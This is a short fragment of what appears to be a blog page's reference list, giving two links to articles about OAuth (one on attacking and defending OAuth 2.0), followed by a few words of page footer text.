https://www.praetorian.com/blog/attacking-and-defending-oauth-2-0-part-1/
https://velog.io/@ha0kim/OAuth

κ³΅μœ ν•˜κΈ° 링크
Comment